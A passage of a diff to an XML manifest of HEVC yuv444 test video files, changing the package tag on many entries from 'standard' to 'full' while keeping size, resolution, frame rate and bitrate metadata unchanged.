+    <value>mime=video/hevc,size=15399,width=640,height=360,frame-rate=50,profile=,level=,bitrate=2903600,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_640x360p50/crowd_640x360p50f2_gop2.mp4">
-    <value>mime=video/hevc,size=15409,width=640,height=360,frame-rate=50,profile=,level=,bitrate=2905600,package=standard</value>
+    <value>mime=video/hevc,size=15409,width=640,height=360,frame-rate=50,profile=,level=,bitrate=2905600,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_640x360p50/crowd_640x360p50f2_gop4.mp4">
-    <value>mime=video/hevc,size=15409,width=640,height=360,frame-rate=50,profile=,level=,bitrate=2905600,package=standard</value>
+    <value>mime=video/hevc,size=15409,width=640,height=360,frame-rate=50,profile=,level=,bitrate=2905600,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_640x360p50/crowd_640x360p50f2_gop8.mp4">
-    <value>mime=video/hevc,size=15410,width=640,height=360,frame-rate=50,profile=,level=,bitrate=2905600,package=standard</value>
+    <value>mime=video/hevc,size=15410,width=640,height=360,frame-rate=50,profile=,level=,bitrate=2905600,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_640x360p50/crowd_640x360p50f3_gop2.mp4">
-    <value>mime=video/hevc,size=17268,width=640,height=360,frame-rate=50,profile=,level=,bitrate=2174264,package=standard</value>
+    <value>mime=video/hevc,size=17268,width=640,height=360,frame-rate=50,profile=,level=,bitrate=2174264,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_640x360p50/crowd_640x360p50f3_gop4.mp4">
-    <value>mime=video/hevc,size=17268,width=640,height=360,frame-rate=50,profile=,level=,bitrate=2174264,package=standard</value>
+    <value>mime=video/hevc,size=17268,width=640,height=360,frame-rate=50,profile=,level=,bitrate=2174264,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_640x360p50/crowd_640x360p50f3_gop8.mp4">
-    <value>mime=video/hevc,size=17269,width=640,height=360,frame-rate=50,profile=,level=,bitrate=2174264,package=standard</value>
+    <value>mime=video/hevc,size=17269,width=640,height=360,frame-rate=50,profile=,level=,bitrate=2174264,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_640x360p50/crowd_640x360p50f4_gop2.mp4">
-    <value>mime=video/hevc,size=18553,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1758000,package=standard</value>
+    <value>mime=video/hevc,size=18553,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1758000,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_640x360p50/crowd_640x360p50f4_gop4.mp4">
-    <value>mime=video/hevc,size=18642,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1766896,package=standard</value>
+    <value>mime=video/hevc,size=18642,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1766896,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_640x360p50/crowd_640x360p50f4_gop8.mp4">
-    <value>mime=video/hevc,size=18643,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1766896,package=standard</value>
+    <value>mime=video/hevc,size=18643,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1766896,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_640x360p50/crowd_640x360p50f5_gop4.mp4">
-    <value>mime=video/hevc,size=19907,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1513760,package=standard</value>
+    <value>mime=video/hevc,size=19907,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1513760,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_640x360p50/crowd_640x360p50f5_gop8.mp4">
-    <value>mime=video/hevc,size=19908,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1513760,package=standard</value>
+    <value>mime=video/hevc,size=19908,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1513760,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_640x360p50/crowd_640x360p50f6_gop4.mp4">
-    <value>mime=video/hevc,size=21152,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1343664,package=standard</value>
+    <value>mime=video/hevc,size=21152,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1343664,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_640x360p50/crowd_640x360p50f6_gop8.mp4">
-    <value>mime=video/hevc,size=20558,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1304528,package=standard</value>
+    <value>mime=video/hevc,size=20558,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1304528,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_640x360p50/crowd_640x360p50f7_gop4.mp4">
-    <value>mime=video/hevc,size=22156,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1208400,package=standard</value>
+    <value>mime=video/hevc,size=22156,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1208400,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_640x360p50/crowd_640x360p50f7_gop8.mp4">
-    <value>mime=video/hevc,size=21936,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1196680,package=standard</value>
+    <value>mime=video/hevc,size=21936,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1196680,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_640x360p50/crowd_640x360p50f8_gop4.mp4">
-    <value>mime=video/hevc,size=23131,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1105496,package=standard</value>
+    <value>mime=video/hevc,size=23131,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1105496,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_640x360p50/crowd_640x360p50f8_gop8.mp4">
-    <value>mime=video/hevc,size=22585,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1079344,package=standard</value>
+    <value>mime=video/hevc,size=22585,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1079344,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_854x480p50/crowd_854x480p50f11_gop8.mp4">
-    <value>mime=video/hevc,size=66202,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2370000,package=standard</value>
+    <value>mime=video/hevc,size=66202,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2370000,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_854x480p50/crowd_854x480p50f12_gop8.mp4">
-    <value>mime=video/hevc,size=68485,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2248200,package=standard</value>
+    <value>mime=video/hevc,size=68485,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2248200,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_854x480p50/crowd_854x480p50f13_gop8.mp4">
-    <value>mime=video/hevc,size=71511,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2168000,package=standard</value>
+    <value>mime=video/hevc,size=71511,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2168000,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_854x480p50/crowd_854x480p50f14_gop8.mp4">
-    <value>mime=video/hevc,size=72519,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2041824,package=standard</value>
+    <value>mime=video/hevc,size=72519,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2041824,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_854x480p50/crowd_854x480p50f15_gop8.mp4">
-    <value>mime=video/hevc,size=76260,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2005360,package=standard</value>
+    <value>mime=video/hevc,size=76260,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2005360,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_854x480p50/crowd_854x480p50f16_gop8.mp4">
-    <value>mime=video/hevc,size=76304,width=854,height=480,frame-rate=50,profile=,level=,bitrate=1881024,package=standard</value>
+    <value>mime=video/hevc,size=76304,width=854,height=480,frame-rate=50,profile=,level=,bitrate=1881024,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_854x480p50/crowd_854x480p50f1_gop1.mp4">
-    <value>mime=video/hevc,size=30106,width=854,height=480,frame-rate=1,profile=,level=,bitrate=234024,package=standard</value>
+    <value>mime=video/hevc,size=30106,width=854,height=480,frame-rate=1,profile=,level=,bitrate=234024,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_854x480p50/crowd_854x480p50f1_gop2.mp4">
-    <value>mime=video/hevc,size=30117,width=854,height=480,frame-rate=1,profile=,level=,bitrate=234104,package=standard</value>
+    <value>mime=video/hevc,size=30117,width=854,height=480,frame-rate=1,profile=,level=,bitrate=234104,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_854x480p50/crowd_854x480p50f1_gop4.mp4">
-    <value>mime=video/hevc,size=30117,width=854,height=480,frame-rate=1,profile=,level=,bitrate=234104,package=standard</value>
+    <value>mime=video/hevc,size=30117,width=854,height=480,frame-rate=1,profile=,level=,bitrate=234104,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_854x480p50/crowd_854x480p50f1_gop8.mp4">
-    <value>mime=video/hevc,size=30118,width=854,height=480,frame-rate=1,profile=,level=,bitrate=234104,package=standard</value>
+    <value>mime=video/hevc,size=30118,width=854,height=480,frame-rate=1,profile=,level=,bitrate=234104,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_854x480p50/crowd_854x480p50f2_gop1.mp4">
-    <value>mime=video/hevc,size=36335,width=854,height=480,frame-rate=50,profile=,level=,bitrate=7090800,package=standard</value>
+    <value>mime=video/hevc,size=36335,width=854,height=480,frame-rate=50,profile=,level=,bitrate=7090800,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_854x480p50/crowd_854x480p50f2_gop2.mp4">
-    <value>mime=video/hevc,size=36346,width=854,height=480,frame-rate=50,profile=,level=,bitrate=7092800,package=standard</value>
+    <value>mime=video/hevc,size=36346,width=854,height=480,frame-rate=50,profile=,level=,bitrate=7092800,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_854x480p50/crowd_854x480p50f2_gop4.mp4">
-    <value>mime=video/hevc,size=36346,width=854,height=480,frame-rate=50,profile=,level=,bitrate=7092800,package=standard</value>
+    <value>mime=video/hevc,size=36346,width=854,height=480,frame-rate=50,profile=,level=,bitrate=7092800,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_854x480p50/crowd_854x480p50f2_gop8.mp4">
-    <value>mime=video/hevc,size=36347,width=854,height=480,frame-rate=50,profile=,level=,bitrate=7092800,package=standard</value>
+    <value>mime=video/hevc,size=36347,width=854,height=480,frame-rate=50,profile=,level=,bitrate=7092800,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_854x480p50/crowd_854x480p50f3_gop2.mp4">
-    <value>mime=video/hevc,size=41177,width=854,height=480,frame-rate=50,profile=,level=,bitrate=5362000,package=standard</value>
+    <value>mime=video/hevc,size=41177,width=854,height=480,frame-rate=50,profile=,level=,bitrate=5362000,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_854x480p50/crowd_854x480p50f3_gop4.mp4">
-    <value>mime=video/hevc,size=41177,width=854,height=480,frame-rate=50,profile=,level=,bitrate=5362000,package=standard</value>
+    <value>mime=video/hevc,size=41177,width=854,height=480,frame-rate=50,profile=,level=,bitrate=5362000,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_854x480p50/crowd_854x480p50f3_gop8.mp4">
-    <value>mime=video/hevc,size=41178,width=854,height=480,frame-rate=50,profile=,level=,bitrate=5362000,package=standard</value>
+    <value>mime=video/hevc,size=41178,width=854,height=480,frame-rate=50,profile=,level=,bitrate=5362000,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_854x480p50/crowd_854x480p50f4_gop2.mp4">
-    <value>mime=video/hevc,size=44512,width=854,height=480,frame-rate=50,profile=,level=,bitrate=4353800,package=standard</value>
+    <value>mime=video/hevc,size=44512,width=854,height=480,frame-rate=50,profile=,level=,bitrate=4353800,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_854x480p50/crowd_854x480p50f4_gop4.mp4">
-    <value>mime=video/hevc,size=44899,width=854,height=480,frame-rate=50,profile=,level=,bitrate=4392496,package=standard</value>
+    <value>mime=video/hevc,size=44899,width=854,height=480,frame-rate=50,profile=,level=,bitrate=4392496,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_854x480p50/crowd_854x480p50f4_gop8.mp4">
-    <value>mime=video/hevc,size=44900,width=854,height=480,frame-rate=50,profile=,level=,bitrate=4392496,package=standard</value>
+    <value>mime=video/hevc,size=44900,width=854,height=480,frame-rate=50,profile=,level=,bitrate=4392496,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_854x480p50/crowd_854x480p50f5_gop4.mp4">
-    <value>mime=video/hevc,size=48342,width=854,height=480,frame-rate=50,profile=,level=,bitrate=3788480,package=standard</value>
+    <value>mime=video/hevc,size=48342,width=854,height=480,frame-rate=50,profile=,level=,bitrate=3788480,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_854x480p50/crowd_854x480p50f5_gop8.mp4">
-    <value>mime=video/hevc,size=48343,width=854,height=480,frame-rate=50,profile=,level=,bitrate=3788480,package=standard</value>
+    <value>mime=video/hevc,size=48343,width=854,height=480,frame-rate=50,profile=,level=,bitrate=3788480,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_854x480p50/crowd_854x480p50f6_gop4.mp4">
-    <value>mime=video/hevc,size=51378,width=854,height=480,frame-rate=50,profile=,level=,bitrate=3358664,package=standard</value>
+    <value>mime=video/hevc,size=51378,width=854,height=480,frame-rate=50,profile=,level=,bitrate=3358664,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_854x480p50/crowd_854x480p50f6_gop8.mp4">
-    <value>mime=video/hevc,size=50792,width=854,height=480,frame-rate=50,profile=,level=,bitrate=3320064,package=standard</value>
+    <value>mime=video/hevc,size=50792,width=854,height=480,frame-rate=50,profile=,level=,bitrate=3320064,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_854x480p50/crowd_854x480p50f7_gop4.mp4">
-    <value>mime=video/hevc,size=53435,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2995712,package=standard</value>
+    <value>mime=video/hevc,size=53435,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2995712,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_854x480p50/crowd_854x480p50f7_gop8.mp4">
-    <value>mime=video/hevc,size=54603,width=854,height=480,frame-rate=50,profile=,level=,bitrate=3063312,package=standard</value>
+    <value>mime=video/hevc,size=54603,width=854,height=480,frame-rate=50,profile=,level=,bitrate=3063312,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_854x480p50/crowd_854x480p50f8_gop4.mp4">
-    <value>mime=video/hevc,size=55343,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2716048,package=standard</value>
+    <value>mime=video/hevc,size=55343,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2716048,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_854x480p50/crowd_854x480p50f8_gop8.mp4">
-    <value>mime=video/hevc,size=55584,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2729248,package=standard</value>
+    <value>mime=video/hevc,size=55584,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2729248,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/level/crowd_1280x720p50f32_2000kbps_level_4.0.mp4">
-    <value>mime=video/hevc,size=156462,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=1939168,package=standard</value>
+    <value>mime=video/hevc,size=156462,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=1939168,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/level/crowd_1280x720p50f32_8000kbps_level_4.1.mp4">
     <value>mime=video/hevc,size=665734,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=8305072,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/level/crowd_128x96p50f32_200kbps_level_2.0.mp4">
-    <value>mime=video/hevc,size=15659,width=128,height=96,frame-rate=50,profile=,level=,bitrate=179360,package=standard</value>
+    <value>mime=video/hevc,size=15659,width=128,height=96,frame-rate=50,profile=,level=,bitrate=179360,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/level/crowd_176x144p50f32_200kbps_level_2.0.mp4">
-    <value>mime=video/hevc,size=16017,width=176,height=144,frame-rate=50,profile=,level=,bitrate=183632,package=standard</value>
+    <value>mime=video/hevc,size=16017,width=176,height=144,frame-rate=50,profile=,level=,bitrate=183632,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/level/crowd_1920x1080p50f32_4000kbps_level_4.1.mp4">
-    <value>mime=video/hevc,size=300595,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=3740832,package=standard</value>
+    <value>mime=video/hevc,size=300595,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=3740832,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/level/crowd_1920x1088p50f32_10000kbps_level_5.0.mp4">
     <value>mime=video/hevc,size=725613,width=1920,height=1088,frame-rate=50,profile=,level=,bitrate=9053560,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/level/crowd_352x288p50f32_300kbps_level_2.1.mp4">
-    <value>mime=video/hevc,size=24507,width=352,height=288,frame-rate=50,profile=,level=,bitrate=289744,package=standard</value>
+    <value>mime=video/hevc,size=24507,width=352,height=288,frame-rate=50,profile=,level=,bitrate=289744,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/level/crowd_3840x2160p50f32_12000kbps_level_5.1.mp4">
     <value>mime=video/hevc,size=890692,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=11117344,package=full</value>
@@ -23403,49 +23403,49 @@
     <value>mime=video/hevc,size=1781528,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=22252800,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/level/crowd_640x480p50f32_500kbps_level_3.0.mp4">
-    <value>mime=video/hevc,size=42959,width=640,height=480,frame-rate=50,profile=,level=,bitrate=520400,package=standard</value>
+    <value>mime=video/hevc,size=42959,width=640,height=480,frame-rate=50,profile=,level=,bitrate=520400,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/level/crowd_64x64p50f32_200kbps_level_1.0.mp4">
-    <value>mime=video/hevc,size=10427,width=64,height=64,frame-rate=50,profile=,level=,bitrate=114960,package=standard</value>
+    <value>mime=video/hevc,size=10427,width=64,height=64,frame-rate=50,profile=,level=,bitrate=114960,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/level/crowd_64x64p50f32_200kbps_level_2.0.mp4">
-    <value>mime=video/hevc,size=14671,width=64,height=64,frame-rate=50,profile=,level=,bitrate=168008,package=standard</value>
+    <value>mime=video/hevc,size=14671,width=64,height=64,frame-rate=50,profile=,level=,bitrate=168008,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/level/crowd_720x480p50f32_600kbps_level_3.1.mp4">
-    <value>mime=video/hevc,size=50289,width=720,height=480,frame-rate=50,profile=,level=,bitrate=612024,package=standard</value>
+    <value>mime=video/hevc,size=50289,width=720,height=480,frame-rate=50,profile=,level=,bitrate=612024,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/level/crowd_720x576p50f32_600kbps_level_3.1.mp4">
-    <value>mime=video/hevc,size=51946,width=720,height=576,frame-rate=50,profile=,level=,bitrate=632736,package=standard</value>
+    <value>mime=video/hevc,size=51946,width=720,height=576,frame-rate=50,profile=,level=,bitrate=632736,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_100kbps.mp4">
-    <value>mime=video/hevc,size=81465,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=1001736,package=standard</value>
+    <value>mime=video/hevc,size=81465,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=1001736,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_10mbps.mp4">
     <value>mime=video/hevc,size=835728,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=10430024,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_1mbps.mp4">
-    <value>mime=video/hevc,size=89387,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=1100760,package=standard</value>
+    <value>mime=video/hevc,size=89387,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=1100760,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_20mbps.mp4">
     <value>mime=video/hevc,size=1694042,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=21158944,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_4mbps_adaptiveqp0.mp4">
-    <value>mime=video/hevc,size=364910,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4544800,package=standard</value>
+    <value>mime=video/hevc,size=364910,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4544800,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_4mbps_adaptiveqp2.mp4">
-    <value>mime=video/hevc,size=357916,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4457368,package=standard</value>
+    <value>mime=video/hevc,size=357916,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4457368,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_4mbps_qpg16.mp4">
-    <value>mime=video/hevc,size=366222,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4561200,package=standard</value>
+    <value>mime=video/hevc,size=366222,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4561200,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_4mbps_qpg64.mp4">
-    <value>mime=video/hevc,size=358959,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4470408,package=standard</value>
+    <value>mime=video/hevc,size=358959,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4470408,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_4mbps_qpg8.mp4">
-    <value>mime=video/hevc,size=369420,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4601168,package=standard</value>
+    <value>mime=video/hevc,size=369420,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4601168,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_500kbps.mp4">
-    <value>mime=video/hevc,size=80727,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=992512,package=standard</value>
+    <value>mime=video/hevc,size=80727,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=992512,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_5mbps.mp4">
     <value>mime=video/hevc,size=409325,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=5099984,package=full</value>
@@ -23457,43 +23457,43 @@
     <value>mime=video/hevc,size=940648,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=11744624,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_amp0.mp4">
-    <value>mime=video/hevc,size=356623,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4441208,package=standard</value>
+    <value>mime=video/hevc,size=356623,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4441208,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_amp1.mp4">
-    <value>mime=video/hevc,size=356623,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4441208,package=standard</value>
+    <value>mime=video/hevc,size=356623,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4441208,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_aud.mp4">
-    <value>mime=video/hevc,size=356620,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4441168,package=standard</value>
+    <value>mime=video/hevc,size=356620,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4441168,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_b_adapt_0.mp4">
-    <value>mime=video/hevc,size=330705,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4117832,package=standard</value>
+    <value>mime=video/hevc,size=330705,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4117832,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_b_adapt_1.mp4">
     <value>mime=video/hevc,size=397596,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4953368,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_beta0.mp4">
-    <value>mime=video/hevc,size=356623,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4441208,package=standard</value>
+    <value>mime=video/hevc,size=356623,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4441208,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_beta4.mp4">
-    <value>mime=video/hevc,size=356441,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4438920,package=standard</value>
+    <value>mime=video/hevc,size=356441,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4438920,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_beta6.mp4">
-    <value>mime=video/hevc,size=356973,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4445568,package=standard</value>
+    <value>mime=video/hevc,size=356973,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4445568,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_beta6_tcm6.mp4">
-    <value>mime=video/hevc,size=356034,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4433824,package=standard</value>
+    <value>mime=video/hevc,size=356034,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4433824,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_betam4.mp4">
-    <value>mime=video/hevc,size=356627,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4441248,package=standard</value>
+    <value>mime=video/hevc,size=356627,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4441248,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_betam6.mp4">
-    <value>mime=video/hevc,size=357970,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4458032,package=standard</value>
+    <value>mime=video/hevc,size=357970,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4458032,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_betam6_tc6.mp4">
-    <value>mime=video/hevc,size=357332,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4450048,package=standard</value>
+    <value>mime=video/hevc,size=357332,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4450048,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_cnstrn_intra.mp4">
-    <value>mime=video/hevc,size=361575,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4503112,package=standard</value>
+    <value>mime=video/hevc,size=361575,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4503112,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_cra16.mp4">
     <value>mime=video/hevc,size=386672,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4816008,package=full</value>
@@ -23502,109 +23502,109 @@
     <value>mime=video/hevc,size=15342878,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=191769400,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_crf51.mp4">
-    <value>mime=video/hevc,size=29633,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=353832,package=standard</value>
+    <value>mime=video/hevc,size=29633,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=353832,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_ctb16.mp4">
-    <value>mime=video/hevc,size=357111,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4447320,package=standard</value>
+    <value>mime=video/hevc,size=357111,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4447320,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_ctb32.mp4">
